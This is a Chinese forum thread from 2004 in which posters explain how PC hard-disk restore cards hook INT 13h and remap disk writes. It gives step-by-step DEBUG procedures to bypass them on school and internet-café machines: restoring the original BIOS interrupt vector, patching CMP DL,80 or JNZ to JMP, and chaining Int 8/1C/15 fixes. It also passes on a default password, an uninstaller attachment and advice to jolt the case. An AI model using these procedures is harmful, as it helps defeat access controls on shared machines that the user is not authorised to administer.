首页
社区
课程
招聘
请教还原卡的原理(请看内容,因为这不是破解请求)
发表于: 2004-10-20 16:08 26958

请教还原卡的原理(请看内容,因为这不是破解请求)

2004-10-20 16:08
26958
收藏
免费 1
支持
分享
最新回复 (43)
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
26
最初由 wogan 发布
如果是newclass的新卡可下载这个程序:
URL=bbs.pediy.com/upload/file/2004/10/kill.rar_674.rar]附件:kill.rar[/URL] 附件:kill.rar
在纯dos下运行后可卸载。
重起后有安装提示,可到www.newclass.org下载相应的驱动安装即可。

兄弟,谢谢你的程序,我试过了,无效
还是要谢谢你
2004-11-2 22:23
0
雪    币: 333
活跃值: (369)
能力值: ( LV12,RANK:490 )
在线值:
发帖
回帖
粉丝
27
楼上的文章精典!好好收藏
2004-11-2 22:31
0
雪    币: 768
活跃值: (535)
能力值: ( LV13,RANK:460 )
在线值:
发帖
回帖
粉丝
28
在网上发现的好东东去这里看看!!!
http://shuihua.hostrocket.com
2004-11-3 08:05
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
29
请楼主说明你是还原卡是那种形号呢
那个厂家呢
说出来好找破解方法啊
一般用的是深圳蓝科呢
启动时CTRL+HOME
密码:12345678
也可以用启动盘DEBUG
进行破解,具体方法
请到GOOGLE里面搜
2004-11-3 09:06
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
30
最初由 ankel 发布
请楼主说明你是还原卡是那种形号呢
那个厂家呢
说出来好找破解方法啊
一般用的是深圳蓝科呢
启动时CTRL+HOME
........

兄弟,我没有拆开机箱的权限,唉,而且在还原卡的界面里也找不到商标,现在唯一知道的是用ctrl+enter,F10键进入管理模式。
google到了很多文章,也逐一试过了都无效啊
2004-11-3 14:30
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
31
最初由 wogan 发布
如果是newclass的新卡可下载这个程序:
URL=bbs.pediy.com/upload/file/2004/10/kill.rar_674.rar]附件:kill.rar[/URL] 附件:kill.rar
在纯dos下运行后可卸载。
重起后有安装提示,可到www.newclass.org下载相应的驱动安装即可。

e盘共享后,我在一台机器上使用了kill,但是无效,然后,我重新启动机器发现,学生机的网上邻居不能访问我了,可我的电脑里依然能见到他们的机器。

我这里是一个对等网,用98的,上午装了个软件windows优化大师破解版,安装完没事,
下午,发现widows优化大师又提示未注册?
这是咋回事捏?
而且,发现这台教师机,插入u盘以后,它的d盘的内容就变得和我的u盘里的内容一样了,我格式化了d盘,发现其实格式化的是我的u盘。
真是奇怪,大侠们指点一下吧
2004-11-3 14:34
0
雪    币: 205
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
32
估计是海光蓝卡,我的也是。CTRL+Enter进去是超级用户模式,F10是可以进入设置界面,但是很奇怪,我这怎么设置都出现产品名称。
它的弱点在:好像他在安全模式下面不保护,你可以在安全模式下面安装软件。
2004-11-4 07:34
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
33
最初由 cool88cool 发布
估计是海光蓝卡,我的也是。CTRL+Enter进去是超级用户模式,F10是可以进入设置界面,但是很奇怪,我这怎么设置都出现产品名称。
它的弱点在:好像他在安全模式下面不保护,你可以在安全模式下面安装软件。

有人说我这个是什么盗版卡,好那我就进一下安全模式看看。谢谢你:D
2004-11-4 10:22
0
雪    币: 239
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
34
最古老的方法:直接备份,恢复(古老的联想宙斯盾系统就是这样的!)
另一种一种原理:直接拦截硬盘读写,把原有硬盘数据读写映射到一个新位置,恢复的时候把旧的数据删除就是!这种方法对系统速度影响很大!
新方法:直接保护FAT表,因为系统删除文件的时候是不会把文件真正的内容删除掉的!所以直接把FAT表备份,恢复的时候只恢复FAT表。这种方法有个好处就是速度很快,但是有时候会出现数据丢失或者损坏。
2004-11-4 17:34
0
雪    币: 107
活跃值: (54)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
35
最初由 龙百战 发布
另外说明一点,只要拔下还原卡或让机子检测不到还原卡,不管其是否卸载,
硬盘都处于非保护状态,你想干什么就能干什么。
基于以上一点,对机箱施以打击,振动都可以使机子检测不到还原卡,从而达
到与卸载一样的效果。(本人极力反对这种不道德的行为)。说到这里,让我想起
了有一次去网吧上网,开机内存条报警,我正准备换机。这时网管过来了,
只见他拖出机箱,拔掉电源线,再对着机箱狠踢两脚,接上电源线,把机箱放回

原地,开机滴的一声正常启动,然后扬长而去。我当时就晕了,居然有这种网管,

真是让人哭笑不得啊!

不是在说我吧
:D :D :D
2004-11-4 18:03
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
36
最初由 天杀 发布
最古老的方法:直接备份,恢复(古老的联想宙斯盾系统就是这样的!)
另一种一种原理:直接拦截硬盘读写,把原有硬盘数据读写映射到一个新位置,恢复的时候把旧的数据删除就是!这种方法对系统速度影响很大!
新方法:直接保护FAT表,因为系统删除文件的时候是不会把文件真正的内容删除掉的!所以直接把FAT表备份,恢复的时候只恢复FAT表。这种方法有个好处就是速度很快,但是有时候会出现数据丢失或者损坏。

你老兄是那个天杀吧?(aogo网上的斑竹吧?):D
2004-11-4 22:11
0
雪    币: 208
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
37
硬盘还原卡的破解

--------------------------------------------------------------------------------

  本来以前就要写这一篇的,有事耽误了,现在写出来滥竽充数吧!
还原卡也称硬盘保护卡,学校等单位采用较多,可以保护硬盘数据不被恶意修改,删除。保护卡是一种硬件芯片,插在主板上与硬盘的MBR协同工作。在说明原理前,我想先提一种技术“BIOS映射地址搬移”。这种技术在前几年,大行其道,但均秘而不喧。诸位以前玩解密的时候可能都用过龚成宾的SIMU97吧。它能在只读的BIOS地址区实现写入,因而能拦截到CALL F000:EC59等调用。这种调用在以软盘为载体的加密方案中,有重要意义,后来为了躲过它,王江民没办法使用了UPD765。不过,根据我的分析UPD765读写软盘时照样可以拦截。刚才提的那种拦截方式的原理是这样的[跟踪所得],通过调用Int15h子功能,其他方法也可以,只要能切入保护模式,切入保护模式后,改掉BIOS所在段的段描述符。这种方法可以实现BIOS段的重定位,当然就可以让它可写入了。用Int13H读软盘时Int13H会调用F000:EC59,这是拦截Int13h 的一种高级手段。其实围绕硬盘保护的加密解密关键就看谁拦截的位置更底层。但对与硬盘保护卡来说,只要恢复Int13的BIOS级中断向量就够了。具体如何破解呢?找到Int13h的原始BIOS中断向量值,填入中断向量表。这样修改以后其他对Int13H 的钩子通常就被绕过了 [有些部份如果觉得简单请跳过看 ^_^]

下面是找Int13入口的方法,我常用的几种:
1。手工运行Debug,最好在纯DOS下:

  Debug
- a100
- xor ax,ax 注意: 前面要加上功能号以选择Int13H内部的流程,避免进入其他不经过原始入口的流程
- int 13
- int3
然后输入t回车,不断的重复,直到显示的地址形如 F000:xxxx。记下这一地址,按q 回车退出。 这里假设了第一个F000:xxxx就是要找的入口,实际上可以在第2,3,4,。。。。出现,要自己判断一下,通常认为就是第一个。
在(0:13H*4)=0:4cH 处填入这个地址。

例如得到的地址是F000:1234

运行debug
-e 0:4c 34 12 00 F0 =======>把得到的原始入口填入Int13H的中断向量表
-q

注意:

填的时候要仔细,填错的话会死机。有些经过针对性处理的机器,要进一步鉴别。如在Int13内部调用Int1ch. 如果在trace过程中发现如下代码 CMP DL,80[意思是判断是否针对硬盘操作] ,可以尝试修改成不存在的硬盘号,比如改成CMP DL,FF。其他的都不要修改.试试    硬盘可写吗?如果可以的话就万事大吉了。另外,不能在Windows的虚拟DOS窗口中使用这种方法。如果在Windows的虚拟DOS窗口运行的话,请使用下一种方法。

2。Debug
- s F000:0 ffff 80 fa 80 强行搜索BIOS区,通过比较入口代码找到原始入口点

你可能会发现有好几处。根据我的多次破解经验,通常这个地址在F000:8000以后。试验一下: 如果U F000:xxxx地址后发现代码类似
    -u F000:xxxx
PUSHF
CMP DL,80
JZ ....
 .
 .
 .
[有些不是这样,要注意鉴别。]

的话,填入向量表试试。通常破解就完成了入向量表试试。通常破解就完成了。

我曾经发现经过以上中断还原后,仍不能写盘,或者死机的情况。经跟踪发现Int8H,Int 1CH,Int15H等向量对
Int13H进行了向量保护。解决办法:把Int8H,Int1cH,Int15H 也改会原始中断点(也是BIOS中断)。尝试写盘成功
  
如果想获得保护卡密码的话,可以参考以下步骤:

1。找到Int13h原始点设回中断向量表。
2。读出MBR
3,分析读出的MBR,找到密码算区和加密算法
4,推算出密码  

   ?原卡原理、漏洞和破解方法:
--------------------------------------------------------------------------------

     2002-01-20 04:13:57 900572
     就是internet选项 不见了, 如何办?? ie选项里面选择了不显示图片, 我看不到图片了
     -01-20 03:42:33 Moonlight XP
     C:\WINDOWS\system32\inetcpl.cpl
     sorry,我用Windows XP和98不一致
      01-20 04:18:20 胡俊杰
     没关系的, 大都查部多。 好象找不到。 可以做一个注册表文件给我吗, 将ie选项图片显示的?
    01-20 04:30:00 胡俊杰
     太大了。~ 而且版本不对。 不过我想应该键值是一样吧。 把它发给我吧
     01-20 03:55:18 Moonlight XP
     发完了
     01-20 04:32:11 胡俊杰
     我知道。 我是说那个文件。 版本不对。我是98。 不能到入的。 第一句是regedit4 。你的就不是。 帮我找找好吧。 把图片显示打开呵不打开的区别的文件给我ok ? fc showphotos.reg nophotos.reg >fc.txt
     01-20 03:58:16 Moonlight XP
     我没办法,若老板也没办法,走人
     01-20 04:34:23 胡俊杰
     算了, 其实我本来是问你关于硬盘保护卡的问题的。 看了你在绿盟的帖子。 叫极品流氓来着?
     01-20 04:00:18 Moonlight XP
     你们学校用的是什么硬盘保护卡?
     01-20 04:36:01 胡俊杰
     不是很清楚。好象还原精灵什么的, 你跟我说下原理如何。 ? 或者哪儿有联结?
     01-20 04:01:14 Moonlight XP
     应该和超未来接近
     01-20 04:01:31 Moonlight XP
     在纯DOS下,
     debug
     o 1f7 20
     如果显示器有异常红光闪烁,就比较麻烦了
     01-20 04:36:59 胡俊杰
     你等吓。 我记下
     01-20 04:02:39 Moonlight XP
     自己分析,没有参考文献
     01-20 04:38:05 胡俊杰
     en。 1f7端口是做啥用的?
     01-20 04:04:28 Moonlight XP
     1f7是硬盘读写控制端口
     01-20 04:40:15 胡俊杰
     哦。 不是通过int 13h的么, 怎么跟1f7相关。而且。这个硬盘的断口怎么显示器会。。。?
     01-20 04:06:19 Moonlight XP
     int 13H 可以看作是DOS下的16位硬盘驱动程序
     01-20 04:42:49 胡俊杰
     哦。 它不是bios中断么, 。对了, 我用软盘启动。 然后format c:还是没有用。 是不是在引导系统前卡就控制系统工作了呢? 如果是, 是在什么时候???
    01-20 04:08:27 Moonlight XP
     你可以直接读写硬盘扇区,不通过int13h
     int 13H就通过操作1F0H-1F7H来驱动硬盘的
     01-20 04:45:12 胡俊杰
     那是不是更加麻烦? 相对于int 13来说? 如果要读某一扇区。用端口的方式。。比如吧。读0道0面1扇区用端口具体如何操作呢
  01-20 04:12:41 Moonlight XP
     当然,不然为什么要以硬卡的形式销售?
     你搜索A0000-FFFFF,必定有块内存开头是55 AA
     主板BIOS监测到该内存块有 55 AA 标志,就将控制权移交给他
     2002-01-20 04:13:24 Moonlight XP
     硬盘保护卡有几种模式,兼容性最好的就是
    “截获了INT 13不让他写了”
     2002-01-20 04:49:39 胡俊杰
     学校系统是win me ,没有实模式的dos 也不能debug清cmos。 这样int 13是不是没有办法跟踪? 如何是好?
     2002-01-20 04:15:41 Moonlight XP
     硬盘保护卡有几种模式,保护最强的就是
     “由硬盘保护卡的BIOS使CPU进入保护模式,
     然后在保护模式监控17f端口,
     非硬盘保护卡的请求立刻拦截报警”
    2002-01-20 04:15:57 Moonlight XP
     别看它保护得这么严密,还是有漏洞
     2002-01-20 04:51:19 胡俊杰
     哦? 什么漏洞??
     2002-01-20 04:16:16 Moonlight XP
     你想自己写硬盘还原卡还是只是破解
     2002-01-20 04:51:43 胡俊杰
     也都算不上是。主要是了解点,学点东西
     2002-01-20 04:52:01 胡俊杰
     而且。我组合语言不是很好。 还没有写的能力 。
     2002-01-20 04:17:17 Moonlight XP
     你是台湾人?
     这话的意思是不是bios程序检测内存的时候发现就转移控制权。 实际的效果就是改写了bios。 而os却不知道??
     2002-01-20 04:52:40 胡俊杰
     不是啊
     2002-01-20 04:52:53 胡俊杰
     不过台湾的教程看多了, 自然就说组合了
     2002-01-20 04:17:52 Moonlight XP
     所有的硬盘保护卡仅可兼容Win9X
     2002-01-20 04:18:11 Moonlight XP
     而且在系统属性中可以看到,“C盘运行在MSDOS兼容方式下”,是不是这样?
     2002-01-20 04:53:18 胡俊杰
     那winme的保护卡是如何回事?
     2002-01-20 04:53:29 胡俊杰
     这个没注意。
     2002-01-20 04:53:43 胡俊杰
     不过软区出问题的话。就显示a工作在兼容模式吓
     2002-01-20 04:18:45 Moonlight XP
     这就是破解关键
     2002-01-20 04:54:04 胡俊杰
     哦????? 如何说起?
     2002-01-20 04:19:42 Moolight XP
     硬盘保护卡比Int13H更底层
     2002-01-20 04:20:21 Moonlight XP
     你自己写硬盘还原卡功力不够,必须精通保护模式编程
     而且现在硬盘保护卡又不能在WinNT,2000,XP下运行,
     那是骗学校网吧的
     2002-01-20 04:56:04 胡俊杰
     你有么有成功的经历呢?
     2002-01-20 04:21:06 Moonlight XP
     如果想破解,改一个字节就可以了,编写硬盘保护卡没有“钱”途
     2002-01-20 04:21:29 Moonlight XP
     不想说当年的事
     2002-01-20 04:57:22 胡俊杰
     嘿嘿。。 改一个字节?? 是不是原勋说过的 cmp dl,80 --》ff?
     2002-01-20 04:22:25 Moonlight XP
     错
     2002-01-20 04:57:40 胡俊杰
     那是。
     2002-01-20 04:23:44 Moonlight XP
     中国所有的硬盘保护卡都源于台湾超未来
     2002-01-20 04:59:14 胡俊杰
     哦。 你说的改一个字节指的事。 什么原理呢
     2002-01-20 04:25:01 Moonlight XP
     硬盘保护卡将CPU模式置于V86模式,
     所以凡是有硬盘保护卡的机器无法在DOS下运行Softice
     2002-01-20 05:00:44 胡俊杰
     en.那softice不可以。怎么debug可以呢?
     2002-01-20 04:29:16 Moonlight XP
     Softice进入保护模式拦截,功能强大
     Debug不进入保护模式
     就如一台电脑不能同时运行两个操作系统
     2002-01-20 05:05:21 胡俊杰
     你是学什么专业的呢?
     2002-01-20 04:35:20 Moonlight XP
     硬盘保护卡的大漏洞就是
     他在常规内存上端申请了
     1K(9fc0:0,不定)或2K(9f80:0)的内存作为他在V86模式下使用
     截获int13H
     2002-01-20 05:11:34 胡俊杰
     然后呢?
     2002-01-20 04:37:43 Moonlight XP
     欺骗Win9X使其放弃使用保护模式下的32位驱动
     而使用DOS兼容模式,也就是Int13H
     2002-01-20 04:38:33 Moonlight XP
     当然WinNT系列可没怎么好说话
     2002-01-20 05:14:01 胡俊杰
     这就是c出现正在使用兼容模式的原因?
     2002-01-20 04:41:09 Moonlight XP
     完全正确。
     然后你开始跟踪Int13H的真正入口点(都处于F000:XXXX)
     如果不是还要跟踪
     2002-01-20 05:16:37 胡俊杰
     这一步已经做到了
     2002-01-20 04:43:54 Moonlight XP
     好,然后用Debug修改INT13H的中断向量,使其成为Int13H的真正入口点
     然后退出,dir是什么现象?(不出所料应该是硬板保护卡开始报警)  
     2002-01-20 04:46:58 Moonlight XP
     你在吗?
     2002-01-20 05:23:15 胡俊杰
     在学校机器是win me的,没有纯dos就没试。我在自己机器是98的系统。其中也碰到一个怪问题。 我在我的机器上98里面开dos 窗口跟踪13h不可以了,而隔壁的机器98里面同样操作就可以。 而且得到的结果跟我在我机器dos吓的一模一样。 在换太机器98里面不可以。而学校的都没信心了。 本来有一次准备去的。。 就停电了, 是不是它知道要出事啊???
     我在我机器上尝试改写中断向量表。然后dir就死机了。 可能我写错了吧
     *_*.. 也就没有在到学校去试了。 如果报警了.那如何是好?
      2002-01-20 04:51:15 Moonlight XP
     没有良好的实验环境?
     能不能用软驱?
     2002-01-20 05:26:51 胡俊杰
     可以. 不过学校的不行.就是可以的话也不可以用软盘启动的
     2002-01-20 05:28:33 胡俊杰
     我想起来了。 是有这么回事. 查看的时候出现了c在使用兼容模式!
     2002-01-20 04:54:00 Moonlight XP
     本来98下非常容易搞定,现在换了Windows ME,又不许用软盘
     想破解,以我的功力无能为力
     2002-01-20 04:54:27 Moonlight XP
     不过只要破解一次,以后这台机就开放了
     2002-01-20 05:29:36 胡俊杰
     可以用的。 但不能用它引导
     2002-01-20 05:30:16 胡俊杰
     为什么呢, 不是临时起作用的吗??? 不是修改内存的么?
     2002-01-20 04:55:24 Moonlight XP
     原来CMOS被设置了为C盘首先启动
     2002-01-20 04:56:19 Moonlight XP
     但是现在的狗全部拦截70H,71H端口,那又有什么用呢?
     2002-01-20 04:57:08 Moonlight XP
     现在需要的是本地的纯DOS环境,可他没有
     2002-01-20 05:32:31 胡俊杰
     是的。 你说如果98的话很容易搞定. 具体点说的话是呢?
     是这样的, 有一次网络老师跟我们上课的时候谈到了加密解密的事.它说什么都有漏洞。 学校的卡也一样.起码它就知道。 所以.我估计换me系统可能就这个原因.而且debug.exe也删除了, 还好我临时网上烤的
     2002-01-20 05:33:13 胡俊杰
     不过学校还有一小批机器是98的。 可以到纯dos. 我拿它做实验吧.
     具体是?
     2002-01-20 04:58:36 Moonlight XP
     TMD,“老师”也知道?简直不可能啊,你们老师这么有水平??
     2002-01-20 05:35:15 胡俊杰
     我就很是奇怪.他XX的他简直是全才. 计算机网络是它教的 而且维修是他教的.硬件应该很在行的。 什么电视显示器手机主板都能修.当然是以前的.我们学校的网络.机房就它主管的. 就这么厉害我有什么办法啊1
     2002-01-20 05:01:01 Moonlight XP
     如此人才为何只做老师,应该好好到外面闯闯
     2002-01-20 05:37:05 胡俊杰
     可能人各有志吧! 到学校教书也休闲. 而且工资也不差. 又或者是搞个文凭资格什么的呢. 其实我也挺羡慕这样的日子的.
     2002-01-20 05:02:48 Moonlight XP
     不想买别墅,轿车?
     2002-01-20 05:38:17 胡俊杰
     想啊! 怎么说呢.你不是我的环境你不会明白的
     2002-01-20 05:38:24 胡俊杰
     不说这个.
     2002-01-20 05:38:44 胡俊杰
     你说98的系统.能进纯dos.然后如何办
     2002-01-20 05:05:08 Moonlight XP
     其实看门狗会报警,是因为他在int13h做了一点手脚
     2002-01-20 05:41:11 胡俊杰
     那如果知道它原理了.把这段程式略过.?
     2002-01-20 05:07:38 Moonlight XP
     正常请求:请求->看门狗int13h->DOS int13h->硬盘BIOS int13h->完成
     你的请求:请求->硬盘BIOS int13h->完成
     2002-01-20 05:08:10 Moonlight XP
     你看忽略了那个关键部分?
     2002-01-20 05:44:12 胡俊杰
     也就是说直接改中断向量表指向入口f000;xxxx里面吗? 你刚刚说这样做又会报警?
     2002-01-20 05:11:27 Moonlight XP
     忽略了看门狗int13h和DOS int13h
     没有DOS int13h会不定期发生DMA越界
     2002-01-20 05:11:38 Moonlight XP
     影响软盘使用
    2002-01-20 05:47:01 胡俊杰
     嘿嘿. 我不用软盘的
     只要能装软件就行
     2002-01-20 05:12:58 Moonlight XP
     没有也就凑合了,
     关键在看门狗的串联的INT13h上
     2002-01-20 05:49:09 胡俊杰
     哦。 对了。 关于这个的什么网站上有详细的介绍吗. 你介绍几个?
    2002-01-20 05:14:12 Moonlight XP
     刚才错了,
     正常请求:请求->DOS int13h->看门狗int13h->硬盘BIOS int13h->完成
     你的请求:请求->硬盘BIOS int13h->完成
     2002-01-20 05:14:35 Moonlight XP
     自己研究的
     2002-01-20 05:52:07 胡俊杰
     但是我说的.完成 我的请求
     你的请求:请求->硬盘BIOS int13h->完成
     不就是直接改中断到bios里面吗???????
     2002-01-20 05:17:57 Moonlight XP
     从Debug也可以看出
     0070:0 ~~~~ DOS int13h
     9f80:0 ~~~~ 看门狗int13h
     f000:0 ~~~~ 硬盘BIOS int13h
     2002-01-20 05:53:36 胡俊杰
     那中途还有一个ffff:xxxx是?
     2002-01-20 05:19:33 Moonlight XP
     用实模式分析,不然会添很多很多麻烦
     2002-01-20 05:20:46 Moonlight XP
     只要出现ffff:0000,就是说明加载了himem.sys,dos=high
     2002-01-20 05:55:53 胡俊杰
     我是这么做的。 而且竹雨林也提到了这个地址. 不知道是什么?
     2002-01-20 05:56:47 胡俊杰
     哦?? 那我下次取消这个试试 safe dos promat command应该没有了吧
     2002-01-20 05:22:42 Moonlight XP
     Yes,
     现在详细分析看门狗int13h的流程
     2002-01-20 05:26:59 Moonlight XP
     1. or byte ptr 9f80:XXXX,1
     (把9f80:XXXX内存块中的某个字节的0位置一,做上标记,
     标明确实是从看门狗int13h走的,关键的关键)
     2002-01-20 06:03:49 胡俊杰
     等下.. 是不是什么狗占的地址都是9f80 还是你分析过的超未来接近是?
     2002-01-20 05:31:45 Moonlight XP
     2. cmp dl,80
     jnz XXXX
     (是不是想读取硬盘信息,反正软盘狗管不着~-~)
     如果软盘不进行int13h地址转换;
     硬盘就对不起了,换到临时空间去,并做好地址映射,
     重启自然没有了
     2002-01-20 05:36:27 Moonlight XP
     9f80:XXXX只是一个典型例子,需要看0:413 word的值
     280H是640KB
     27FH是639KB 换算该是9FCO:XXXX
     27EH是638KB 换算该是9F80:XXXX
     2002-01-20 06:14:50 胡俊杰
     那应该是常规内存消息?? 639表示盛余639.还是表示它根本不知道什么是640 .直接是639?? 638表示分了2k 给卡用掉了。 但怎么会算出9fc..什么的呢?
     2002-01-20 05:41:59 Moonlight XP
     40:0是BIOS信息区,639表示DOS只能在用639KB,
     DOS病毒很多都这么干
     看门狗也不例外
     它640-2
     2002-01-20 05:43:45 Moonlight XP
     同一台机随看门狗的设置不同,640-1,640-2也不定,
     这很合理(节约内存)
     2002-01-20 05:44:49 Moonlight XP
     不信你看看网吧的0:413是多少?
     再看看学校的值是多少?
     2002-01-20 06:22:34 胡俊杰
     对了! 你说的是不是这么回事! ( 把没加卡程序的bios叫干净bios)
     是不是干净的bios检测内存的时候发现55aa的标记。 其实只要卡这个硬件加电了工作了,它肯定也有bios程序的. 然后就会自动在内存产生55aa.受它程序控制的. 然后干净bios就吧权利教给卡的bios的程序.卡的bios程序就是起这个作用---修改干净的bios.成肮脏的bios.就象病毒负在可执行文件上样的。 也就这个肮脏的bios引导了os.吧权利给了os. 而dos又要改写中断向量. 就形成了
     正常请求:请求->DOS int13h->看门狗int13h->干净硬盘bios 13h的请求??? 是不是这么回事??
     2002-01-20 05:48:21 Moonlight XP
     对,就是这样
     不然怎么起得到保护作用
     2002-01-20 06:25:40 胡俊杰
     我记得硬盘的主引导记录也有这个55aa的东东. 其实应该软区也有.只要能引导机器的东西都有.应该这是获得系统控制权的唯一途径???
    2002-01-20 05:51:50 Moonlight XP
     哈哈,对极了  
     2002-01-20 06:29:26 胡俊杰
     我的资质也彼高的. 和和.只是没人教. 你很热心. 也很厉害
     2002-01-20 06:31:08 胡俊杰
     sorry. 网吧是无盘的。 看不了
     2002-01-20 06:31:57 胡俊杰
     27FH是639KB 换算该是9FCO:XXXX
     27EH是638KB 换算该是9F80:XXXX
     这个怎么换算的.我还是没弄明白
     2002-01-20 06:03:12 Moonlight XP
     网吧debug有没有,在Windows下也一样
     2002-01-20 06:40:36 胡俊杰
     不是这样的. debug有. command.com也有.但是开了没有办法操作了(只能看到提示符.按什么按键都无效.我们这儿的无盘都这样nt的)。 除非使用文件重定向..还要见批处理文件才可以. 好麻烦的。
     2002-01-20 06:06:50 Moonlight XP
     640
     0000:0000-9000:FFFF ????
     2002-01-20 06:08:04 Moonlight XP
     640
     00000-9FFFF ????
     2002-01-20 06:43:39 胡俊杰
     按你的说法.卡占用的内存在常规内存最后面才这样?
     2002-01-20 06:09:14 Moonlight XP
     只要是DOS驻留病毒绝大多少都这样
     2002-01-20 06:45:54 胡俊杰
     回到
     (2002-01-20 05:31:45) Moonlight XP
     2. cmp dl,80
     jnz XXXX
     (是不是想读取硬盘信息,反正软盘狗管不着~-~)
     如果软盘不进行int13h地址转换;
     硬盘就对不起了,换到临时空间去,并做好地址映射,
     重启自然没有了 然后呢???
     2002-01-20 06:11:08 Moonlight XP
     639
     00000 - 9FBFF
     1024=400H
     2002-01-20 06:47:45 胡俊杰
     这段代码.cmp dl.80是在 狗的领空吗?
     2002-01-20 06:14:09 Moonlight XP
     没有了,
     没有看门狗的正常请求:
     请求->DOS int13h->硬盘BIOS int13h->完成
     有看门狗的正常请求:
     请求->DOS int13h->看门狗int13h->硬盘BIOS int13h->完成
     2002-01-20 06:15:48 Moonlight XP
     对了,时间长了
     3.还原检测标志
     2002-01-20 06:51:57 胡俊杰
     那我们最终要改的是哪儿呢??
     2002-01-20 06:17:49 Moonlight XP
     破解有两种方法:
     1.跳过看门狗int13h,自己把检测标志改为1(麻烦)
     2.修改看门狗int13h(简单,只要改一个字节)
     2002-01-20 06:53:35 胡俊杰
     如果2的话. 是改哪儿呢. 有没有时间写个教程 让大家都获益?
     2002-01-20 06:21:17 Moonlight XP
     问题就在出在这里
     cmp dl,80
     jnz XXXX->jmp XXXX
     也就是75->EB搞定
     2002-01-20 06:58:18 胡俊杰
     那原勋的教程. cmp dl,80-->cmp dl,ffh 也行啊. dl 不可能为ff的.效果是相同. 也是这个原因了.
     2002-01-20 06:27:22 Moonlight XP
     正常请求:
     1.设置标志(告诉保护模式的监控程序,可以读写)
     2.cmp dl,80
     jnz ABCD
     是不是软驱,下面就开始地址映射,换到临时空间去,然后jmp ABCD
     是软驱,不换,jmp ABCD
     3.还原标志
      2002-01-20 07:06:37 胡俊杰
     你这个监控程序指的是?
     2002-01-20 06:31:57 Moonlight XP
     0(软驱)-80=-80
     符合jnz,所以跳到了ABCD
     80(硬盘)-80=0
     不符合jnz,于是继续执行,地址映射
     2002-01-20 07:10:32 胡俊杰
     什么叫地址映射了?
     2002-01-20 06:40:41 Moonlight XP
     MOV AX,301  
     MOV BX,200  
     MOV CX,1 =>经过地址映射=> MOV CX,0101
     MOV DX,80=>经过地址映射 =>MOV DX,0180
     INT 13
    这就是地址映射,只是举个例子,每种卡的算法不同.不信你跟跟看
     2002-01-20 07:17:44 胡俊杰
     我觉得原来就是右边这个样子啊。 编写程序的时候.没有什么实质的区别啊。 比如说. 术语是说??
     2002-01-20 06:45:06 Moonlight XP
     我说的是你在DEBUG下请求
     MOV AX,301
     MOV BX,200
     MOV CX,1
     MOV DX,80
     INT 13
     读零道零面一扇区  
     返回的是零道零面一扇区
     事实上在一道一面一扇区,你信不信?
     2002-01-20 07:22:18 胡俊杰
     为什么呢?/
     2002-01-20 06:49:02 Moonlight XP
     狗狗把改变的数据写在临时空间
     读的时候在到临时空间读
     如果不这样,连WPS2.2都会死机
     2002-01-20 06:50:26 Moonlight XP
     不能欺骗DOS说,没写也是写了
     DOS在要读数据还是原来的,那么程序就会不正常
     2002-01-20 06:50:51 Moonlight XP
     狗狗这样做是正确的
     2002-01-20 07:26:06 胡俊杰
     哦!! 列如这样.它的硬盘不是保护了吗?? 比如2g的硬盘.保护的时候用掉了1g. 内存是256m的.如果我在狗的效果下拷贝1.5g的东西进去会出现什么问题??
     2002-01-20 06:51:55 Moonlight XP
     会出现非常严重的问题,
     狗狗都这样
     2002-01-20 07:27:47 胡俊杰
     你说的这个临时空间是内存中的呢。 还是硬盘中的(保护的资料以外没用的硬盘空间)???
     2002-01-20 06:53:12 Moonlight XP
     不信你试试,除了C盘是不进行地址映射的,所以老师说考到D盘稳定
     2002-01-20 06:54:03 Moonlight XP
     当然是硬盘空间,内存那够
     2002-01-20 07:29:32 胡俊杰
     但是int13是怎么区别是c还是别的呢.! 这个我知道.我们学校的除了c不可写外,其他的都可写!!!!!
     2002-01-20 07:30:37 胡俊杰
     那个空间不足.会不会由于狗处理不了.产生错误.或者出现什么缓冲区益出的漏洞获得系统权限呢??
     2002-01-20 06:56:25 Moonlight XP
     不管你硬盘以前放了什么数据,
     装了狗狗,要用狗狗来清除数据,然后设置几个系统硬盘,一般D盘是共享的
     2002-01-20 06:57:19 Moonlight XP
     狗狗经常出错,不过它可以推在Win9X上
     2002-01-20 07:33:43 胡俊杰
     呵呵~~ 不是卡一般都有超级用户的密码么, 我学校的怎么没有看到这个画面了?? 如果找到. 那如何去破解? 是在硬盘上 还是卡的芯片上?
     2002-01-20 06:59:13 Moonlight XP
     其实当你用IE下载一个600MB的文件,IE同样会非法操作
     Windows XP + IE6 也会如此
     2002-01-20 06:59:47 Moonlight XP
     600MB > IE缓存空间
     2002-01-20 07:35:27 胡俊杰
     哦. 我必须下了。 我们这里通宵的时间到了. 认识你真的很高兴
     2002-01-20 07:35:45 胡俊杰
     我会学校慢慢研究去:)
     2002-01-20 07:01:00 Moonlight XP
     所以狗狗不会保证非常稳定,反正死机Reset就行
     2002-01-20 07:36:40 胡俊杰
     超级用户的密码么, 我学校的怎么没有看到这个画面了?? 如果找到. 那如何去破解? 是在硬盘上 还是卡的芯片上?
     2002-01-20 07:02:48 Moonlight XP
     cmp dl,ff
     表示
     0-ff或80-ff都不是0,都不进行地址映射
     2002-01-20 07:38:36 胡俊杰
     只要不进行地址影射就可以写了?? 它就不写入临时区域了!?
     2002-01-20 07:03:55 Moonlight XP
     记在硬盘上0磁道上,把狗拿掉慢慢分析,是如何加密的
     2002-01-20 07:04:07 Moonlight XP
     还有两个注意点
     2002-01-20 07:05:11 Moonlight XP
     1. 不可以在Windows的DOS窗口破解
     2002-01-20 07:40:57 胡俊杰
     好.2呢?
     2002-01-20 07:06:57 Moonlight XP
     2.破解后还是对零磁道(狗狗的系统区)写保护,读可以
